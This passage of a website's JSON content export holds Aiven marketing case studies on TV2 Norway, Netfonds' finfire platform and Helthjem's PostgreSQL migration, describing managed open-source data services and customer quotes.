Aiven because the company met all our criteria. We get access to all the open source tools and technologies we need, plus a great UI and understandable pricing. We can run our workloads on Google as well as AWS — meeting our need for a cloud-agnostic solution.”"}],"markDefs":[],"style":"normal"}],"title":"A robust, open-source, cloud-agnostic DevOps environment","variant":"oneColumn"},{"_key":"6c40fe08c416","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-5eccbe30b86398b458eb168b91394517bb0859e8-3840x2160-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"62fdb481162b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"eb855977bff8","_type":"block","children":[{"_key":"94ec8b7d6fa80","_type":"span","marks":[],"text":"With Aiven providing the foundation of the IDP, Aalèn and his team benefit from having a single supplier to manage instead of multiple. “Despite using a dozen open source technologies, with the Aiven Platform we have a single control panel and a single bill for the integrated services. We also have just one SLA: an uptime guarantee of 99.99% across all services,” says Aalèn."}],"markDefs":[],"style":"normal"},{"_key":"0242de54f834","_type":"block","children":[{"_key":"7ad39a7691180","_type":"span","marks":[],"text":"There are also benefits that can be seen in the day-to-day experience of TV2’s developers. Self-provisioning within the development lifecycle is easier and more efficient in the standardized environment: the Aiven Platformprovides a secure environment in which the team can create and test new applications and new functionality, and then put them directly into production — all while remaining compliant with important regulations like the EU’s GDPR. IDP is used by 35 teams and approximately 150 developers."}],"markDefs":[],"style":"normal"},{"_key":"461461bf7186","_type":"block","children":[{"_key":"dc5c72859e260","_type":"span","marks":[],"text":"The cognitive load has been significantly reduced. Job satisfaction has improved, which is important in a country like Norway, with a small and a very competitive market for DevOps professionals. “By building IDP with Aiven, we have the one-stop shop that we were looking for,” says Aalèn. “And that has improved the day-to-day experience of our developers and DevOps engineers. We spend more time on the result rather than infrastructure.”"}],"markDefs":[],"style":"normal"},{"_key":"78f7bc3b1b0e","_type":"block","children":[{"_key":"bd0441380ad30","_type":"span","marks":[],"text":"The new standardized environment has also helped with cost control. Everyone, including the development team, has a much better overview of what they are spending because Aiven’s pricing is easy to understand, which makes it easier to build a cost culture within development teams."}],"markDefs":[],"style":"normal"},{"_key":"c30376f5c947","_type":"block","children":[{"_key":"718923a77b180","_type":"span","marks":[],"text":"“Working with Aiven enables better cost control, so we get better architecture and more stable services based on better informed decisions,” says Aalèn. “We have maintained our development speed, but now we have cost control and reduced risks. The guardrails are in place. It ultimately means more innovation and more efficiencies. We’re providing a better service to the business and exploring new ways to use data to enhance the company’s performance.”"}],"markDefs":[],"style":"normal"}],"title":"One supplier — multiple benefits","variant":"oneColumn"},{"_key":"51af60b293fb","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-b4a9bbb2537a21e733b4e87e32d7f16b303ad425-3840x2160-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"063e1e581ca3","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"b8a8b494157d","_type":"block","children":[{"_key":"4c9d6aa530b00","_type":"span","marks":[],"text":"Now that the value of the IDP is well established, TV2 is looking to introduce it into more areas of the business. “We’ll be enabling more areas of our company — the marketing department, for example — to become more data-driven,” says Aalèn. “As the core of the IDP, Aiven services are a key part of our future plans.”"}],"markDefs":[],"style":"normal"}],"title":"Extending the power of data to all areas of the business","variant":"oneColumn"}],"heroHasVideo":true,"heroSubtitle":"Broadcaster and video streaming service chooses Aiven Platform across clouds","heroTitle":"TV2 Norway Enhances Development Environment while Lowering Risks and Controlling Costs","image":{"_type":"mainImage","asset":{"_ref":"image-ad8c2a80c8c649b2a1d60d4a8ec0770203929d0d-3840x2160-jpg","_type":"reference"}},"publishedAt":"2024-03-05T16:03:00.000Z","seo":{"_type":"metaData","metaDescription":"Broadcaster and video streaming service chooses Aiven Platform across clouds","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1ee8e39a79b052a9cdab748dc34750aa9d652edf-1280x720-jpg","_type":"reference"}},"metaTitle":"TV2 Norway Enhances Development Environment while Lowering Risks and Controlling Costs"},"slug":{"_type":"slug","current":"/case-studies/tv2-norway-enhances-development-environment"},"title":"TV2 Norway Enhances Development Environment while Lowering Risks and Controlling Costs","ytId":"R1Pqft5LfDw"} {"__i18n_lang":"en","_createdAt":"2023-10-19T06:13:35Z","_id":"b3eeb391-d523-41e6-bfdf-9c23609972c7","_rev":"AHEWd1wDMi9t7fkj2e7crz","_type":"caseStudy","_updatedAt":"2024-01-15T10:05:23Z","company":{"_ref":"761adbb3-d852-42fa-a168-49123fac3083","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"58786cf5cff9","_type":"block","children":[{"_key":"ca17e8d6f5c30","_type":"span","marks":[],"text":"To support the growth of finfire – an independent software platform for financial advisors, fund managers and insurance brokers – Netfonds needed to shift the focus of its developer team from maintaining data infrastructure to delivering more customer value. The company chose Aiven as its partner to take on the management of numerous open source technologies, resulting in optimized performance, peace of mind and developers able to focus on software production. With Aiven in place, Netfonds can seamlessly scale its data infrastructure to support the business as it continues on its growth trajectory."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"683b1c07bb8e","_type":"block","children":[{"_key":"1632d6a3b01c0","_type":"span","marks":[],"text":"With revenues of EUR 176.4 million in 2022, Hamburg-based Netfonds AG is one of the market leaders for broker pools in Germany and the largest bank independent liability umbrella in the country. Established in 2000, its core business has focused on the brokerage of various asset classes, as well as asset management, legal advice, auditing, research and back-office support. In 2020, Netfonds launched finfire, a proprietary digital platform for its client base of financial advisors, fund managers, insurance brokers and other financial institutions. Since then, finfire has become a significant part of its business, establishing Netfonds as a major fintech in the German market, and making a substantial contribution to the company’s steady revenue growth."}],"markDefs":[],"style":"normal"}],"title":"Creating a new fintech from a traditional business","variant":"oneColumn"},{"_key":"d1cd02d203a9","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-7bd7811441dfbc26deedce79e99298434d1133c6-1600x1067-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"b3c6afaf0b3d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"bbb98dec6908","_type":"block","children":[{"_key":"687be276d9290","_type":"span","marks":[],"text":"As a cloud-based software solution for the end-to-end processing and administration of business transactions, finfire is used by financial advisors, insurance brokers and financial planners as well as their investor and insurance clients. Since its launch, finfire has proved to be very popular among the former, enabling them to organize their work flexibly, transparently and securely, while providing compliance support in the EU’s highly regulated financial services market. In fact, finfire has become a key differentiator for Netfonds."}],"markDefs":[],"style":"normal"},{"_key":"cc7b4c012fea","_type":"block","children":[{"_key":"71a4bb9b7a1b0","_type":"span","marks":[],"text":"Netfonds has an extensive team of developers and architects working on advancing the platform’s capabilities and ensuring it meets the changing needs of its diverse range of clients. However, the focus is very much on developing great software and applying DevOps principles to accelerate innovation rather than on building and maintaining the underlying databases, streaming technologies and related infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"7297ad28e8bb","_type":"block","children":[{"_key":"2b7afdbf00a90","_type":"span","marks":[],"text":"According to Nis Christian Carstensen, CTO at Netfonds, the company sought additional support beyond its current use of Google Cloud to further optimize its data management processes on an ongoing basis. For example, Carstensen’s team was struggling to effectively run Apache Cassandra®, a distributed NoSQL database, in the cloud."}],"markDefs":[],"style":"normal"},{"_key":"4229ec6a083e","_type":"block","children":[{"_key":"b5afa03a9ea10","_type":"span","marks":[],"text":"Carstensen knew that these challenges would only increase as the company worked towards its ambitious plans for growth and the data environment needed to scale accordingly. “We’re used to growing 10% each year and we want to keep on that path,” says Carstensen. “When we developed finfire, we useda microservices environment precisely because it would allow us to scale and meet the wider company goals: to support more customers, to continue on our growth trajectory and to have a ‘think big’ mindset.”"}],"markDefs":[],"style":"normal"},{"_key":"b50dab111d8c","_type":"block","children":[{"_key":"7d8c7f80e6720","_type":"span","marks":[],"text":"It was clear that Netfonds needed support in managing Cassandra, as well as other technologies, to give the developer teams the time and space to focus on customer requirements."}],"markDefs":[],"style":"normal"}],"title":"Maintaining a fully independent platform in line with growth ambitions","variant":"oneColumn"},{"_key":"31091664cd13","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-23e011843a641ebbc87765578857c6f95ce45604-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"b80dcb0577b7","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"b42fff2f1ec5","_type":"block","children":[{"_key":"0c1024ccdd0b0","_type":"span","marks":[],"text":"Aiven quickly emerged as the obvious choice for Netfonds. In addition to Cassandra, Carstensen was looking for a provider to take on the management of open source technologies Redis® and OpenSearch®. He was also keen to evaluate Apache Kafka® as a replacement for the existing messaging broker solution."}],"markDefs":[],"style":"normal"},{"_key":"b8ce2ca4ca00","_type":"block","children":[{"_key":"d0969a5695b10","_type":"span","marks":[],"text":"“We like the breadth of services that Aiven offers. We have a big zoo of technologies underpinning the finfire platform. Aiven can provide almost all the services we need,” says Carstensen."}],"markDefs":[],"style":"normal"},{"_key":"4510b7c2a629","_type":"block","children":[{"_key":"234fe87196690","_type":"span","marks":[],"text":"One of the key considerations was the strict compliance environment in which Netfonds operates. For example, with the EU’s "},{"_key":"234fe87196691","_type":"span","marks":["a7b6612700fa"],"text":"Digital Operational Resilience Act"},{"_key":"234fe87196692","_type":"span","marks":[],"text":" (DORA) due to come into force in 2025, Netfonds will face new rules for the protection, detection, containment, recovery and repair capabilities against ICT-related incidents."}],"markDefs":[{"_key":"a7b6612700fa","_type":"link","href":"https://www.digital-operational-resilience-act.com/"}],"style":"normal"},{"_key":"70ae7c254ede","_type":"block","children":[{"_key":"4628e2a51cba0","_type":"span","marks":[],"text":"“We needed a compliant vendor within the Google universe. Our compliance team really liked that, with Aiven, we continue to be flexible and agile, and have the ability to change cloud provider quickly if necessary,” says Carstensen. “It’s also important that we can connect our Google resources — like our BigQuery data warehouse — to the Aiven platform, and they are able to communicate without boundaries. Aiven’s pre-built integrations bring real value to our team.”"}],"markDefs":[],"style":"normal"},{"_key":"f44ce7f72fbd","_type":"block","children":[{"_key":"c069457b71710","_type":"span","marks":[],"text":"Having made the choice, Netfonds’ transition to Aiven was both easy and fast. After migrating its Cassandra instances to Aiven over a weekend, the team started evaluating Aiven for Apache Kafka®."}],"markDefs":[],"style":"normal"},{"_key":"9410010fd3f5","_type":"block","children":[{"_key":"c5ce58f273060","_type":"span","marks":[],"text":"A demo was set up in just a few clicks and the technology was internally tested. Impressed with the performance, Netfonds chose Aiven for Apache Kafka as its data streaming technology for finfire."}],"markDefs":[],"style":"normal"},{"_key":"edda1f93f239","_type":"block","children":[{"_key":"d0ea698463610","_type":"span","marks":[],"text":"Finally, the team migrated to Aiven for Redis® and Aiven for OpenSearch®, setting up all the services independently without support from Aiven."}],"markDefs":[],"style":"normal"}],"title":"A swift migration, with confidence in compliance","variant":"oneColumn"},{"_key":"831c289979d1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-6485157908e9f9324d1ae32eabdb802a9eef45e0-829x553-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"f4ec10ec49e6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"a04ddde2bc6b","_type":"block","children":[{"_key":"d0622b8c72150","_type":"span","marks":[],"text":"Today Aiven plays a major role in finfire. Aiven for Apache Kafka ensures real time data moving through finfire is updated in each of the 60 different microservices and 60 Kafka topics in operation. “We can confidently process 100,000 messages through Kafka in near real time. But while we like the low-latency performance from Kafka, the real benefit is the reliability of message delivery now we are working with Aiven,” says Carstensen."}],"markDefs":[],"style":"normal"},{"_key":"f70bc74d8c96","_type":"block","children":[{"_key":"4dafe074c5050","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® provides a critical database within finfire storing and tracking, for example, 3.5 million data points on the price of listed equities in Germany. Netfonds also uses Aiven for Redis — the in-memory aspect of the open source NoSQL datastore is ideally suited to the microservices architecture of finfire and its cache requirements."}],"markDefs":[],"style":"normal"},{"_key":"7d8dc3d86f00","_type":"block","children":[{"_key":"2bd106af10640","_type":"span","marks":[],"text":"“Aiven for OpenSearch provides a powerful interface to the data in finfire, enabling brokers, investors and our internal teams to find things quickly and easily. It can handle our large data volumes and will scale as we grow,” says Carstensen."}],"markDefs":[],"style":"normal"},{"_key":"90b194a4fbca","_type":"block","children":[{"_key":"39800329f5680","_type":"span","marks":[],"text":"For example, through OpenSearch, brokers have a 360-degree view on finfire, and conduct in-platform searches across their customers, regulatory requirements, investment advice, product information and brokerage. Netfonds’ internal teams rely on finfire as part of their daily operations and the search functionality provided by OpenSearch is key to making their work efficient."}],"markDefs":[],"style":"normal"}],"title":"100,000 messages delivered in near real time through 60 different microservices ","variant":"oneColumn"},{"_key":"b61e54e158a5","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-1af90cc243d15b19924297129e793bc94cad8115-1200x800-jpg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false},{"_key":"cf11078c9b6c","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"2af7fc643f83","_type":"block","children":[{"_key":"456acc0bdcae0","_type":"span","marks":[],"text":"Thanks to Aiven, Netfonds has substantially removed friction associated with scaling its data infrastructure to support the business as it expands. With Aiven taking care of all the required maintenance, upgrades and related support, Carstensen’s team can focus on developing new features and making the finfire platform even better for customers."}],"markDefs":[],"style":"normal"},{"_key":"851280b62ebc","_type":"block","children":[{"_key":"377acd0466760","_type":"span","marks":[],"text":"“Open source solutions can be difficult to operate efficiently,” says Carstensen. “Aiven has the knowledge and experience to ensure we’re getting optimal performance and capturing more value — that’s a great thing.”"}],"markDefs":[],"style":"normal"},{"_key":"7a738007281e","_type":"block","children":[{"_key":"8b648a8b64730","_type":"span","marks":[],"text":"Carstensen also appreciates having a single vendor and a single contract. With a lot of solutions in place, Netfonds faced a potentially heavy management and compliance burden. Instead, with Aiven, it is easy for Netfonds to add on more services in a compliant way as needed."}],"markDefs":[],"style":"normal"}],"title":"Driving business value with the Aiven platform","variant":"oneColumn"},{"_key":"89307c112e66","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","subtitle":[{"_key":"823c557b5711","_type":"block","children":[{"_key":"6c314383055a0","_type":"span","marks":[],"text":"For the future, Netfonds is looking to keep on growing its business, adding more brokers and end customers to its platform. With Aiven services in place, they are looking forward to scaling seamlessly."}],"markDefs":[],"style":"normal"}],"title":"Netfonds aims for more growth, more customers and seamless scaling ","variant":"oneColumn"}],"heroSubtitle":"The Aiven platform gives developers the freedom to advance Netfonds’ market-differentiating software platform","heroTitle":"Financial Services Organization Netfonds Focuses on Innovation and Customer Service","hostProviders":[{"_key":"9a6c4809149f","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-e0b96284869e0291878f9f89023321838d1d88ee-620x413-jpg","_type":"reference"}},"industry":[{"_id":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","label":"Retail","value":"retail"}],"publishedAt":"2023-10-19T06:00:00.000Z","seo":{"_type":"metaData","metaDescription":"The Aiven platform gives developers the freedom to advance Netfonds’ market-differentiating software platform","metaImage":{"_type":"mainImage","asset":{"_ref":"image-33491fd774a931a2bf65552135e31a807d340402-1200x628-png","_type":"reference"}},"metaTitle":"Financial Services Organization Netfonds Focuses on Innovation and Customer Service"},"services":[{"_key":"5693090acfd4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"bc5e45e89a6d","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"b6bc26b07294","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"7ba1fc469700","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"}],"slug":{"_type":"slug","current":"/case-studies/netfonds-focuses-on-innovation-and-customer-service"},"title":"Financial Services Organization Netfonds Focuses on Innovation and Customer Service"} {"__i18n_lang":"en","_createdAt":"2024-01-26T12:36:33Z","_id":"929b9c92-65aa-4c2f-9cf0-7f54b2cb8ede","_rev":"lhvtNBOlLYH5KiQFQ9mXMP","_type":"caseStudy","_updatedAt":"2024-01-30T08:10:18Z","company":{"_ref":"84b10f5e-408f-4d38-a01a-fed765bcefc3","_type":"reference"},"content":[{"_key":"8468be6163cb","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"589e337b0c87","_type":"block","children":[{"_key":"d177174a02d40","_type":"span","marks":[],"text":"One of the biggest distribution and delivery services in Norway, "},{"_key":"0adbe7276ece","_type":"span","marks":["445d9d2a1cbf"],"text":"Helthjem"},{"_key":"4bde9974d5c9","_type":"span","marks":[],"text":" has seen its delivery operations and its demand for data processing increase rapidly since it was founded in 2015. Always a strong proponent of PostgreSQL®, the company has moved from in-house management to Aiven for PostgreSQL on AWS. With the databases now running with superior levels of stability, scalability and performance, Helthjem’s small engineering team can focus on developing solutions for improving customer service, leveraging the potential of AI and supporting the company’s ongoing expansion."}],"markDefs":[{"_key":"445d9d2a1cbf","_type":"link","href":"https://helthjem.no/"}],"style":"normal"}],"variant":"oneColumn"},{"_key":"7301c1adce96","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"60a3be555d7e","_type":"block","children":[{"_key":"45b56155b25e","_type":"span","marks":[],"text":"Helthjem is part of media giant "},{"_key":"83e1b3c51961","_type":"span","marks":["66b6b773ea0c"],"text":"Schibsted"},{"_key":"080998b96417","_type":"span","marks":[],"text":" Norway. Helthjem collects and delivers more than 13 million packages across Norway. In just a few years, the company has become one of Norway’s largest privately owned companies in the distribution of online shopping packages. Today Helthjem has a market share of approximately 15% but still has its sights set on significant expansion to deliver more parcels to people’s home, faster than ever."}],"markDefs":[{"_key":"66b6b773ea0c","_type":"link","href":"https://schibsted.com/"}],"style":"normal"}],"title":"Making life easier for Norway’s residents — one parcel at a time","variant":"oneColumn"},{"_key":"f081ddb103b1","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-1d03e970f53d9e52baa8649a003b293b4244879a-4000x2661-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"152a40d151be","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c19bf876c374","_type":"block","children":[{"_key":"55947a1b09470","_type":"span","marks":[],"text":"“Helthjem may be dedicated to distributing physical goods, but technology is at heart of what we do,” says Dave Li, Senior Software Engineer at Helthjem. The company supports e-commerce in the country, delivering parcels from businesses to consumers, and enables consumer-to-consumer deliveries through its partner website. “It’s highly data intensive,” says Li. “And if our capability to process that data goes down, the whole business comes to a halt. We simply cannot afford any downtime.”"}],"markDefs":[],"style":"normal"},{"_key":"875566b76cea","_type":"block","children":[{"_key":"9ee9177738dc0","_type":"span","marks":[],"text":"Initially supported by the IT team at parent company Schibsted, Helthjem formed its own small, tight-knit engineering team, including seven software developers, two years ago. The new in-house team took on responsibility for almost every aspect of the technology infrastructure and software to ensure the smooth collection, sorting and delivery of parcels."}],"markDefs":[],"style":"normal"},{"_key":"d7316eeeb94c","_type":"block","children":[{"_key":"0218823910bc0","_type":"span","marks":[],"text":"Like many delivery firms, Helthjem saw demand for its services increase dramatically during the Covid pandemic. But even as Covid-driven demand for delivery services declined, Helthjem continued to grow, breaking its own records for annual deliveries and outgrowing the wider e-commerce market on the way."}],"markDefs":[],"style":"normal"},{"_key":"e3f1af9074ed","_type":"block","children":[{"_key":"d23b745c72a80","_type":"span","marks":[],"text":"But just as volumes were increasing and the business was growing, so was the burden on the in-house team. “Our PostgreSQL databases underpin everything we do — orders, tracking, fulfillment. PostgreSQL has a well-deserved reputation for reliability, stability and performance but its management was taking up too much time for our small team. We needed a partner to help us.”"}],"markDefs":[],"style":"normal"}],"title":"Record-breaking volumes — for deliveries and data ","variant":"oneColumn"},{"_key":"d10302a7e67a","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-176dbb4fd8c4371f27d34da08bf4f5bd597e2126-4000x2661-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"844d5e0d279a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"9286ea1585c1","_type":"block","children":[{"_key":"d9ce23ee22dd0","_type":"span","marks":[],"text":"Helthjem considered a number of vendors, eventually choosing Aiven for PostgreSQL running on AWS. “We wanted to run PostgreSQL on AWS because our parent company, Schibsted, is a big user of AWS. This allowed us to benefit from some economies of scale,” says Li. “Additionally, Aiven came highly recommended by some Schibsted colleagues who use Aiven for Apache Kafka®.”"}],"markDefs":[],"style":"normal"},{"_key":"c5ca2d991946","_type":"block","children":[{"_key":"6586c483c14b0","_type":"span","marks":[],"text":"Another deciding factor for choosing Aiven is that it enables Virtual Private Cloud (VPC) peering on AWS which in turn gives Helthjem added security. This is a way of connecting separate private networks with each other, making it possible for virtual machines in different networks to talk to each other without going through the public internet, for greater security."}],"markDefs":[],"style":"normal"},{"_key":"8bc1c026081e","_type":"block","children":[{"_key":"d1bcc1d692be0","_type":"span","marks":[],"text":"Li was also impressed with the extensions that come out of the box with Aiven for PostgreSQL. “For example, we couldn’t get TimescaleDB, an open-source, PostgreSQL-based relational database for time-series data from Amazon. Aiven could simply provide it out of the box.”"}],"markDefs":[],"style":"normal"},{"_key":"cbfa06cd921d","_type":"block","children":[{"_key":"5d4b1951cad50","_type":"span","marks":[],"text":"The migration to Aiven for PostgreSQL proved to be extremely easy, and the relationship has been a positive one ever since. Li says: “Our journey with Aiven has been completely pain-free. We've had no issues whatsoever at any point during the whole transaction. We clicked the button, the service was up, we converted things, we scaled up read models and it just worked.”"}],"markDefs":[],"style":"normal"}],"title":"Migrating to Aiven for PostgreSQL — “it just works”","variant":"oneColumn"},{"_key":"6c40fe08c416","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-8dbfcaf69798941db9b92513aa8480d8aa04b166-1200x628-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"},{"_key":"62fdb481162b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"4b9a51f2dfa4","_type":"block","children":[{"_key":"b710c67354090","_type":"span","marks":[],"text":"Stability and scalability are key to Li and his team. Helthjem has to manage wide variations in delivery volumes — and in data processing requirements — throughout the year. These can reach extreme spikes during events like Black Friday or in the run up to Christmas. In 2023, Helthjem broke its existing records for delivery volumes during Black Week and achieved the highest weekly volume in its history."}],"markDefs":[],"style":"normal"},{"_key":"f3b861c1e754","_type":"block","children":[{"_key":"ffd97509ad880","_type":"span","marks":[],"text":"“All the systems we currently run are event-driven. In busy holiday periods, like Black Friday, we consume about a million events a day — and that depends on Aiven for PostgreSQL,” says Li. “We have an event store that receives all of the things that happen in the form of the event. That is put together in a stream and from there we create a projection database which creates the latest state of the query. The ‘hot’ event store which holds current data that is being used and processed is about 275 gigabytes of data. Projections — all of the state since we started two years ago — is about 355 gigabytes of data. For example, our events table has over 350 million records. So our databases are not small, but with Aiven they just work.”"}],"markDefs":[],"style":"normal"},{"_key":"c850b1b49b79","_type":"block","children":[{"_key":"2cea79f219ee0","_type":"span","marks":[],"text":"The performance of the system of course impacts on customer service levels. In addition to the parcels being collected and delivered successfully, customers want to monitor the status of their parcels. “The system that enables customers to track their packages runs on Aiven for PostgreSQL. It has been working like a charm for two years now,” says Li."}],"markDefs":[],"style":"normal"},{"_key":"b3ed84922efd","_type":"block","children":[{"_key":"d9aae725bee40","_type":"span","marks":[],"text":"Helthjem recently opened a new distribution center in Vestby, just outside Oslo. The new facility, which covers more than 30,000 square meters, is able to handle at least 40 million parcels a year. “The new distribution center integrates with our existing systems and now underpins the operations of the whole business — orders, tracking and fulfillment,” says Li. “It is running flawlessly on Aiven for PostgreSQL and we are confident the databases will scale seamlessly as we expand to four times our current output.\""}],"markDefs":[],"style":"normal"}],"title":"Consuming a million events a day in busy holiday periods","variant":"oneColumn"},{"_key":"51af60b293fb","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 